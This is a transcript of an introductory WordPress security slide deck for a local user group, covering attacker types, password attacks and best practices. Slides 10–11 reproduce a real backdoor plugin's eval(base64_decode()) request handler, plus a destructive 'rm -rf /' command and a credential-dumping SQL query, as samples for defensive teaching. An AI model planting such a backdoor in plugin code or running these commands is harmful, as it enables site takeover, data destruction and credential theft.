intro to wordpress security

16
Intro to Wordpress Security Prepared for the Oklahoma City Wordpress User Group by Chris Dodds

Upload: chris-dodds

Post on 08-May-2015

335 views

Category:

Technology


0 download

DESCRIPTION

A brief overview of security concepts to give context to the threats facing Wordpress users.

TRANSCRIPT

Page 1: Intro to Wordpress Security

Intro to Wordpress SecurityPrepared for the Oklahoma City Wordpress User Group by Chris Dodds

Page 2: Intro to Wordpress Security

Chris DoddsOwner & Principal Advisor at Focusfire IT Strategy & Consulting

Features: Ten+ years of experience across multiple industries and IT disciplines.

System Requirements: Food, water, & internet connectivity.

Certifications:CISSPMCITP:SASecurity+Network+

Page 3: Intro to Wordpress Security

This talk is not about the top 5 WP security threats.

Page 4: Intro to Wordpress Security

Let’s talk about Betty.

Page 5: Intro to Wordpress Security

Betty’s Fancy Blog o’ Gnomes

Betty’s Fancy Server

Betty’s Fancy Audience

Betty’s Fancy Employer

Page 6: Intro to Wordpress Security

It’s not about you, Betty.

Page 7: Intro to Wordpress Security

The Players

Script kiddies Hacktivists Pro Criminals

Information Warriors

Page 8: Intro to Wordpress Security

Enumeration

Access

Exploitation

Page 9: Intro to Wordpress Security

Password Attacks

Exploit weak passwords

Dictionary based

Can be entirely automated

Page 10: Intro to Wordpress Security

<?php/*Plugin  Name:  ToolsPackDescription:  Supercharge  your  WordPress  site  with  powerful  features  previously  only  available  to  WordPress.com  users.  core  release.  Keep  the  plugin  updated!Version:  1.2Author:  Mark  StainAuthor  URI:  http://checkWPTools.com/*/$_REQUEST[e]  ?  EVAL(  base64_decode(  $_REQUEST[e]  )  )  :  exit;?>

ToolsPack Plugin

Source - http://blog.sucuri.net/2012/02/new-wordpress-toolspack-plugin.html

toolspack.php

Page 11: Intro to Wordpress Security

Execute commands on you server

Execute commands against your WP database

$WINDIR ? `del /F/S/Q $WINDIR\*` : `rm -rf /`;

SELECT login + '-' + password FROM users

This backdoor code allows the remote user to:

Page 12: Intro to Wordpress Security

More Likely...

Payload - keylogger, trojan, spyware, virus

“garden gnomes, free chaps, leather sale, cheap sex, porn,

prescription drugs, coupons, free avon”

SEO Spam - links, keywords

Page 13: Intro to Wordpress Security

Best PracticesUpdate! Update! Update!

Don’t use the “admin” user.

Use a unique passphrase.

Disable or delete un-used plugins.

Backup & test your backups.

Page 14: Intro to Wordpress Security

These are all things your attacker will do once they control your site.

Page 15: Intro to Wordpress Security

Recommended PluginsBackup

BackWPup - open-source or BackupBuddy - commercial

Security

Better WP Security - open-source

Limit Login Attempts - open-source

Sucuri SiteCheck Scanner - http://sitecheck.sucuri.net/

Page 16: Intro to Wordpress Security

Contact and Q&A

Chris Doddse-mail - [email protected] - @doddschrisweb - chrisdodds.net